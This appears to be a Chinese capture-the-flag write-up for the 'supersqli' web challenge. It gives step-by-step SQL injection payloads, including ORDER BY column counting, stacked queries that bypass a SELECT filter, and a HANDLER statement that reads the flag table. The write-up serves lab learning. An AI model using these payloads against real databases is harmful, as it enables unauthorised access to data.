攻防世界---web---supersqli

1、题目描述

2、判断注入点,这里输入1'报错了,说明存在注入点

3、查看列数,根据结果显示可知,有2列

1' order by 1#

 

1' order by 3# 

 

4、查看数据库名,这里发现select被过滤了

1' union select 1,databases();# 

 

5、这里可以使用堆叠绕过(以分号来隔开每一次的sql语句的查询),查数据库名,再结合题目的提示可知,我们要找的信息在"supersqli"这个数据库中。

 1';show databases;#

 

6、查询"supersqli"数据库中的表名,使用下面的方法,查到了两张表。

 1';use supersqli;show tables;#

 

7、查询字段,由于表名是字符串,所以需要用``反引号。

 1';use supersqli;show columns from `1919810931114514`;#

 

8、看到了flag字段,接着查询flag字段里面的信息。打开名为 1919810931114514 的表,并将其命名为 p读取p表的第一行数据

1';use supersqli;handler `1919810931114514` open as p;handler p read first;#

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值